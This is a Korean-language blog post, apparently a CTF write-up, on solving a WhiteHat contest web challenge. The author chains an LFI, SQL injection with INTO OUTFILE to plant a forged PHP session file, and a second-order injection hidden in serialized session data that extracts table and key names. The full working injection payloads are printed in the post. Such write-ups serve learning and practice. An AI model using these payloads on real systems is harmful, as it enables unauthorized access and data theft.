sweetchip's blog


여러모로 멘탈붕괴를 제대로 먹여준 화이트햇..


그중 웹 문제는 타임 오버로 풀게되어 인증을 하지 못했엇는데 그 아쉬움을 포스팅으로 풀어보려 합니다 ㅋㅋ




문제 페이지는 이렇게 생겻는데 카라의 한승연 팬페이지를 컨셉으로 잡은 취약점이 존재하는 페이지입니다.




왠지 꼭 비밀글을 읽어야 할거같은 분위기라서 분위기에 따라가기로 했습니다.



우선 풀이방법을 한줄요약하면 SQL Injection과 SESSION 조작입니다.


팬페이지에는 LFI 취약점이 존재하며, INC 파일을 include 시키는 방식이었습니다.


위 파라미터에 아무 값을 삽입하면 include 에러가 발생하며, inc 파일을 찾을수 없다고 나오는데, 그 에러 메세지를 찾아


inc 파일들을 살펴볼 수 있었습니다. inc 파일에는 웹페이지의 소스코드가 담겨있엇으며, 대부분 페이지의 소스를 빼올 수 있었습니다.


예선 개인전의 경우 로그인 페이지에서 한글을 집어넣어 세션을 변조시키는 문제였는데 단체전에선 취약점이 패치되고 어드민 페이지에서 취약점이 발생합니다.


어드민 페이지엔 아무런 필터링이 없어서 그냥 sql injection이 가능햇는데 이 부분에서 더이상 뭘 해야 할지 생각이 안나서...


어드민 페이지에 세션을 건드리는 것을 보아 세션 문제로 방향을 잡고 시작했습니다.


어드민 로그인 페이지에into outfile 을 이용하여 세션 파일 위치인 /var/lib/php5에 sess_***** 파일을 생성하는데


계속 로그인 실패라고 떠서.. 몇시간 삽질해보고 난 다음에 생각난게 return 값이 없어서.... 였다는 것이 떠오르고;;;


load_file 과 outfile 로 여러번 건드린 끝에 세션 원본 형식을 얻어내는데 성공하고 [세션파일 생성 - phpsessid 변조 - 변조한 세션 로그인]


일정한 형식을 바꾸고 비밀글이 보이는 조건을 맞춰줘 가면서 아이디를 readme 로 바꾸고 로그인을 시도했습니다.


여러번 삽질 끝에.. readme로 로그인을 성공했습니다.


0' union select 'memdata|s:85:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";}";' into outfile '/var/lib/php5/sess_sweetchip'#


값을 바꿀때마다 옆에 붙은 숫자도 맞춰줘야 해서 나름 노가다 작업이었습니다.



기쁜마음에 key를 얻으려고 비밀글을 읽는 순간...; 노가다의 향기가 오고 새벽이라 빨리 자고싶은데 잠도 못자고ㅠㅠ..


쨋든 다시 방법을 생각해보는 도중 이를 통해 sql injection으로 key를 빼오는 방법을 택했습니다.


세션에 인젝션 페이로드를 삽입해 공격해서 readme 가 있는 페이지에서 sql 구문을 참조할때 인젝션 시키는 것이었습니다. [뭐라 설명해야하지..]


하지만 인젝션 페이로드를 넣으려는 부분이 싱글쿼터로 싸여 있어 싱글쿼터를 하나 더 붙여줘야 했던 상황이엇는데


고민 하다가 hex로 집어넣기로 했습니다.


memdata|s:211:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:125:"0' union select unhex(hex(COLUMN_NAME)) from information_schema.columns where TABLE_SCHEMA != 'information_schema' limit 0,1#";}";
#k3yk3y - column name

memdata|s:211:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:125:"0' union select unhex(hex(TABLE_NAME)) from information_schema.columns where TABLE_SCHEMA != 'information_schema' limit 0,1#";}";
#k3yk3y - table name

시간이 다가올수록 급해져서 실수도 많아지고 미칠뻔 했습니다.. ㅋㅋ



공격 구문이 제대로 먹히면 위처럼 값이 나오게 됩니다.

제가 여기서 하나 실수한게 잇는데 table_schema 를 안구했다는 것입니다.

memdata|s:224:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:138:"0' union select unhex(hex(TABLE_SCHEMA)) from information_schema.columns where TABLE_NAME = 'k3yk3y' and COLUMN_NAME = 'k3yk3y' limit 0,1#";}";
#k3y_1s_h3r3

시간이 진짜 급해져서 어느덧 10분 남기고 ㅋㅋ 점점 머릿속이 하얘져서 sql 구문도 이게 맞나 싶을정도로 멘붕상태였습니다.

결국은 제시간에 인증 못했습니다 ㅋㅋ


대회가 끝난 다음 한숨한번 쉬고 끝을 보자 해서 나머지 과정을 시행 했습니다.


memdata|s:140:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:55:"0' union select k3yk3y from k3y_1s_h3r3.k3yk3y where 1#";}"; # key!!




위 키가 진짜인지 아닌지는 인증을 못해 알순 없지만.. 대충 맞다고 예상 하고 있습니다 ㅋㅋ


30분만 시간이 더 있엇다면. .ㅠㅠ


Flag : 488821687a1efe563e073fca374e439a


신고

댓글 0